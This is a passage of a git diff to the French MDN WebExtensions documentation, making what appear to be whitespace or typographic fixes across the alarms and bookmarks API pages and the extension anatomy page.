[Bookmark it !](https://github.com/mdn/webextensions-examples/tree/master/bookmark-it) + - [Bookmark it !](https://github.com/mdn/webextensions-examples/tree/master/bookmark-it) - [favourite‐colour](https://github.com/mdn/webextensions-examples/tree/master/favourite-colour) - [inpage‐toolbar‐ui](https://github.com/mdn/webextensions-examples/tree/master/inpage-toolbar-ui) - [open‐my‐page‐button](https://github.com/mdn/webextensions-examples/tree/master/open-my-page-button) diff --git a/files/fr/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md b/files/fr/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md index 21844a46c1..e544d28f63 100644 --- a/files/fr/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md +++ b/files/fr/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.md @@ -89,7 +89,7 @@ Les scripts d'arrière-plan peuvent faire des requêtes XHR à tous les hôtes p #### Contenu Web -Les scripts d'arrière-plan n'obtiennent pas un accès direct aux pages Web. Toutefois, ils peuvent charger des [scripts de contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) dans les pages Web et peuvent [communiquer avec ces scripts de contenu à l'aide d'une API de communication](/fr/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts). +Les scripts d'arrière-plan n'obtiennent pas un accès direct aux pages Web. Toutefois, ils peuvent charger des [scripts de contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) dans les pages Web et peuvent [communiquer avec ces scripts de contenu à l'aide d'une API de communication](/fr/Add-ons/WebExtensions/Content_scripts#Communicating_with_background_scripts). #### Politique de sécurité du contenu @@ -101,17 +101,17 @@ Votre extension peut inclure divers composants d'interface utilisateur dont le c - Une [barre latérale](/fr/Add-ons/WebExtensions/user_interface/Sidebars) est un volet qui s'affiche dans la partie gauche de la fenêtre du navigateur, à côté de la page Web. - Un [popup](/fr/Add-ons/WebExtensions/user_interface/Popups) est une boîte de dialogue que vous pouvez afficher lorsque l'utilisateur clique sur un [bouton de la barre d'outils](/fr/Add-ons/WebExtensions/user_interface/Browser_action) ou de la [barre d'adresse](/fr/Add-ons/WebExtensions/user_interface/Page_actions) -- Une [page d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages) est une page qui s'affiche lorsque l'utilisateur accède aux préférences de votre module complémentaire dans le gestionnaire d'add-ons natif du navigateur. +- Une [page d'options](/fr/Add-ons/WebExtensions/user_interface/Options_pages) est une page qui s'affiche lorsque l'utilisateur accède aux préférences de votre module complémentaire dans le gestionnaire d'add-ons natif du navigateur. Pour chacun de ces composants, vous créez un fichier HTML et pointez vers lui en utilisant une propriété spécifique dans [manifest.json](/fr/Add-ons/WebExtensions/manifest.json). Le fichier HTML peut inclure des fichiers CSS et JavaScript, tout comme une page Web normale. -Toutes ces pages sont un type de [pages d'extension](/fr/Add-ons/WebExtensions/user_interface/Extension_pages),et contrairement à une page Web normale, votre JavaScript peut utiliser les mêmes API d'extension Web privilégiées que votre script de fond. Ils peuvent même accéder directement aux variables de la page d'arrière-plan en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}. +Toutes ces pages sont un type de [pages d'extension](/fr/Add-ons/WebExtensions/user_interface/Extension_pages),et contrairement à une page Web normale, votre JavaScript peut utiliser les mêmes API d'extension Web privilégiées que votre script de fond. Ils peuvent même accéder directement aux variables de la page d'arrière-plan en utilisant {{WebExtAPIRef("runtime.getBackgroundPage()")}}. ## Page d'extension Vous pouvez également inclure dans votre extension des documents HTML qui ne sont pas attachés à un composant d'interface utilisateur prédéfini. Contrairement aux documents que vous pouvez fournir pour les sidebars, les popups ou les pages d'options, ceux-ci n'ont pas d'entrée dans manifest.json. Cependant, ils ont également accès aux mêmes API WebExtension privilégiées que votre script d'arrière-plan. -Vous chargerez typiquement une page comme celle-ci en utilisant {{WebExtAPIRef("windows.create()")}} ou {{WebExtAPIRef("tabs.create()")}}. +Vous chargerez typiquement une page comme celle-ci en utilisant {{WebExtAPIRef("windows.create()")}} ou {{WebExtAPIRef("tabs.create()")}}. Voir les [pages d'extension](/fr/Add-ons/WebExtensions/user_interface/Extension_pages) pour en savoir plus. diff --git a/files/fr/mozilla/add-ons/webextensions/api/alarms/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/alarms/create/index.md index 2cb86bf346..0c6e7fb844 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/alarms/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/alarms/create/index.md @@ -39,7 +39,7 @@ browser.alarms.create( L'objet `alarmInfo` peut contenir les propriétés suivantes : - `when`{{optional_inline}} - - : `double`. Le moment où l'alarme se déclenchera en premier. L'instant est indiquée comme une valeur absolue, exprimée en [millisecondes depuis epoch](https://fr.wikipedia.org/wiki/Heure_Unix). Pour obtenir le nombre de millisecondes entre l'époque et l'heure actuelle, on pourra utiliser {{jsxref("Date.now")}}. Si cette valeur est utilisée, il ne faut pas fournir `delayInMinutes`. + - : `double`. Le moment où l'alarme se déclenchera en premier. L'instant est indiquée comme une valeur absolue, exprimée en [millisecondes depuis epoch](https://fr.wikipedia.org/wiki/Heure_Unix). Pour obtenir le nombre de millisecondes entre l'époque et l'heure actuelle, on pourra utiliser {{jsxref("Date.now")}}. Si cette valeur est utilisée, il ne faut pas fournir `delayInMinutes`. - `delayInMinutes`{{optional_inline}} - : `double`. Le moment où l'alarme se déclenchera en premier exprimée de façon relative au moment où l'alarme est créée. Si cette option est utilisée, il ne faut pas fournir `when`. - `periodInMinutes`{{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/alarms/onalarm/index.md b/files/fr/mozilla/add-ons/webextensions/api/alarms/onalarm/index.md index 6a1f2af6c5..27e5a1ffcf 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/alarms/onalarm/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/alarms/onalarm/index.md @@ -51,7 +51,7 @@ Voici un exemple illustrant ce qui se produit quand l'alarme se déclenche ```js function handleAlarm(alarmInfo) { - console.log("L'alarme " + alarmInfo.name + " s'est déclenchée"); + console.log("L'alarme " + alarmInfo.name + " s'est déclenchée"); } browser.alarms.onAlarm.addListener(handleAlarm); diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenode/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenode/index.md index 84fde4dc62..10bbaa3521 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenode/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenode/index.md @@ -38,7 +38,7 @@ Un {{jsxref("object")}} avec les propriétés suivantes : - `type`{{optional_inline}} - : Un objet {{WebExtAPIRef("bookmarks.BookmarkTreeNodeType")}} indiquant s'il s'agit d'un signet, d'un dossier ou d'un séparateur. La valeur par défaut est `"bookmark"` sauf si l'`url` est omise, auquel cas elle est par défaut `"folder"`. - `unmodifiable` {{optional_inline}} - - : Un {{jsxref("string")}} comme décrit par le type {{WebExtAPIRef('bookmarks.BookmarkTreeNodeUnmodifiable')}}. Représente la raison pour laquelle le noeud ne peut pas être modifié. Si le nœud peut être changé, ceci est omis. + - : Un {{jsxref("string")}} comme décrit par le type {{WebExtAPIRef('bookmarks.BookmarkTreeNodeUnmodifiable')}}. Représente la raison pour laquelle le noeud ne peut pas être modifié. Si le nœud peut être changé, ceci est omis. - `url` {{optional_inline}} - : Un {{jsxref("string")}} qui représente l'URL du signet. Si le nœud représente un dossier, cette propriété est omise. @@ -50,7 +50,7 @@ Un {{jsxref("object")}} avec les propriétés suivantes : > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenodeunmodifiable/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenodeunmodifiable/index.md index 636b0b1635..79958f1f94 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenodeunmodifiable/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/bookmarktreenodeunmodifiable/index.md @@ -29,7 +29,7 @@ Un type **`bookmarks.BookmarkTreeNodeUnmodifiable`** est utilisé pour indiquer > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/create/index.md index 3be3d9a469..ccd3629a95 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/create/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/bookmarks/create --- {{AddonSidebar()}} -Crée un signet ou un dossier en tant qu'enfant de {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}} avec `parentId` spécifié. Pour créer un dossier, omettez ou laissez vide le paramètre {{WebExtAPIRef("bookmarks.CreateDetails", "CreateDetails", "url")}}. +Crée un signet ou un dossier en tant qu'enfant de {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}} avec `parentId` spécifié. Pour créer un dossier, omettez ou laissez vide le paramètre {{WebExtAPIRef("bookmarks.CreateDetails", "CreateDetails", "url")}}. > **Attention :** Si votre extension tente de créer un nouveau signet dans le nœud racine de l'arborescence du signet, une erreur est générée: "_La racine du signet ne peut pas être modifiée_" et le signet ne sera pas créé. @@ -48,8 +48,8 @@ function onCreated(node) { } var createBookmark = browser.bookmarks.create({ - title: "bookmarks.create() on MDN", - url: "https://developer.mozilla.org/Add-ons/WebExtensions/API/bookmarks/create" + title: "bookmarks.create() on MDN", + url: "https://developer.mozilla.org/Add-ons/WebExtensions/API/bookmarks/create" }); createBookmark.then(onCreated); @@ -63,7 +63,7 @@ createBookmark.then(onCreated); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/createdetails/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/createdetails/index.md index 37fb7a9833..3847550723 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/createdetails/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/createdetails/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/bookmarks/CreateDetails --- {{AddonSidebar()}} -Le type `CreateDetails` est utilisé pour décrire les propriétés d'un nouveau, d'un signet, d'un dossier de signets ou d'un séparateur lors de l'appel de la méthode {{WebExtAPIRef("bookmarks.create()")}}. +Le type `CreateDetails` est utilisé pour décrire les propriétés d'un nouveau, d'un signet, d'un dossier de signets ou d'un séparateur lors de l'appel de la méthode {{WebExtAPIRef("bookmarks.create()")}}. ## Type @@ -40,7 +40,7 @@ Un {{jsxref("object")}} contenant une combinaison des champs suivants : > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/get/index.md index d1fcc28113..af1c8dbf67 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/get/index.md @@ -61,7 +61,7 @@ gettingBookmarks.then(onFulfilled, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getchildren/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getchildren/index.md index 0eb705ed19..fd9286d7b0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getchildren/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getchildren/index.md @@ -63,7 +63,7 @@ gettingChildren.then(onFulfilled, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getrecent/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getrecent/index.md index 931d9c88e0..ff51aac6ed 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getrecent/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getrecent/index.md @@ -34,7 +34,7 @@ var gettingRecent = browser.bookmarks.getRecent( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets [`BookmarkTreeNode`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode). +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau d'objets [`BookmarkTreeNode`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode). ## Exemples @@ -63,7 +63,7 @@ gettingRecent.then(onFulfilled, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getsubtree/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getsubtree/index.md index 0f2b9bef7f..e8c4cd59fb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getsubtree/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/getsubtree/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/bookmarks/getSubTree La méthode **`bookmarks.getSubTree()`** récupère de façon asynchrone un {{WebExtAPIRef("bookmarks.BookmarkTreeNode")}}, étant donné son ID. -Si l'élément est un dossier, vous pouvez accéder à tous ses descendants de manière récursive en utilisant sa propriété `children` et la propriété `children` de ses descendants, s'ils sont eux-mêmes des dossiers. +Si l'élément est un dossier, vous pouvez accéder à tous ses descendants de manière récursive en utilisant sa propriété `children` et la propriété `children` de ses descendants, s'ils sont eux-mêmes des dossiers. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -83,7 +83,7 @@ gettingSubTree.then(logSubTree, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/gettree/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/gettree/index.md index e329479423..93b6c4d1d5 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/gettree/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/gettree/index.md @@ -33,7 +33,7 @@ None. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau contenant un objet, un objet [`bookmarks.BookmarkTreeNode`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode) le noeud racine. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un tableau contenant un objet, un objet [`bookmarks.BookmarkTreeNode`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode) le noeud racine. ## Exemples @@ -64,7 +64,7 @@ function logTree(bookmarkItems) { } function onRejected(error) { - console.log(`An error: ${error}`); + console.log(`An error: ${error}`); } var gettingTree = browser.bookmarks.getTree(); @@ -79,7 +79,7 @@ gettingTree.then(logTree, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/index.md index c2a8af71d3..f6a2833708 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/index.md @@ -44,7 +44,7 @@ Les extensions ne peuvent pas créer, modifier ou supprimer des signets dans le - {{WebExtAPIRef("bookmarks.getSubTree()")}} - : Récupère un nombre demandé de favoris récemment ajoutés. - {{WebExtAPIRef("bookmarks.getTree()")}} - - : Récupère l’intégralité de l’arborescence des marques pages dans un tableau d’objets {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}}. + - : Récupère l’intégralité de l’arborescence des marques pages dans un tableau d’objets {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}}. - {{WebExtAPIRef("bookmarks.move()")}} - : Déplace le {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}} vers un nouvel emplacement dans l’arborescence de marque-pages. - {{WebExtAPIRef("bookmarks.remove()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/move/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/move/index.md index 6ee739393b..5b015fff1f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/move/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/move/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/bookmarks/move --- {{AddonSidebar()}} -La méthode **`bookmarks.move()`** déplace le {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}} à la destination spécifiée dans l'arborescence des signets. Cela vous permet de déplacer un signet vers un nouveau dossier et / ou une position dans le dossier. +La méthode **`bookmarks.move()`** déplace le {{WebExtAPIRef("bookmarks.BookmarkTreeNode", "BookmarkTreeNode")}} à la destination spécifiée dans l'arborescence des signets. Cela vous permet de déplacer un signet vers un nouveau dossier et / ou une position dans le dossier. > **Attention :** Si votre extension tente de déplacer un signet dans le nœud racine de l’arborescence de signets, l’appel déclenche une erreur avec le message suivant: "_La racine du signet ne peut pas être modifiée_" et le déplacement ne sera pas terminé. @@ -45,7 +45,7 @@ var movingBookmark = browser.bookmarks.move( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un seul objet [`bookmarks.BookmarkTreeNode`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode) décrivant le noeud déplacé.Si le noeud correspondant au paramètre `id` ne peut pas être trouvé, la promesse est rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un seul objet [`bookmarks.BookmarkTreeNode`](/fr/Add-ons/WebExtensions/API/bookmarks/BookmarkTreeNode) décrivant le noeud déplacé.Si le noeud correspondant au paramètre `id` ne peut pas être trouvé, la promesse est rejetée avec un message d'erreur. ## Exemples @@ -74,7 +74,7 @@ movingBookmark.then(onMoved, onRejected); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchanged/index.md index d70280c75f..711efcf471 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchanged/index.md @@ -79,7 +79,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchildrenreordered/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchildrenreordered/index.md index f499f7090d..2fef6adaf0 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchildrenreordered/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onchildrenreordered/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/bookmarks/onChildrenReordered --- {{AddonSidebar()}} -Lancé lorsque les enfants d'un dossier ont changé leur commande en raison de la commande triée dans l'interface utilisateur. Cela n'est pas appelé à la suite d'un appel à {{WebExtAPIRef("bookmarks.move()")}} ou une opération glisser dans l'interface utilisateur. +Lancé lorsque les enfants d'un dossier ont changé leur commande en raison de la commande triée dans l'interface utilisateur. Cela n'est pas appelé à la suite d'un appel à {{WebExtAPIRef("bookmarks.move()")}} ou une opération glisser dans l'interface utilisateur. ## Syntaxe @@ -80,7 +80,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/oncreated/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/oncreated/index.md index aa459d406a..b6f1111ff6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/oncreated/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/oncreated/index.md @@ -69,7 +69,7 @@ browser.bookmarks.onCreated.addListener(handleCreated); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportbegan/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportbegan/index.md index daf1badb36..1eac8ccf18 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportbegan/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportbegan/index.md @@ -70,7 +70,7 @@ browser.browserAction.onClicked.addListener(handleClick); > **Note :** > -> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. +> Cette API est basée sur l'API Chromium [`chrome.bookmarks`](https://developer.chrome.com/extensions/bookmarks). Cette documentation provient de [`bookmarks.json`](https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/bookmarks.json) dans le code Chromium. > > Les données de compatibilité relatives à Microsoft Edge sont fournies par Microsoft Corporation et incluses ici sous la licence Creative Commons Attribution 3.0 pour les États-Unis. diff --git a/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportended/index.md b/files/fr/mozilla/add-ons/webextensions/api/bookmarks/onimportended/index.md index f785ff1901..a5d13a8dbf 100644 --- 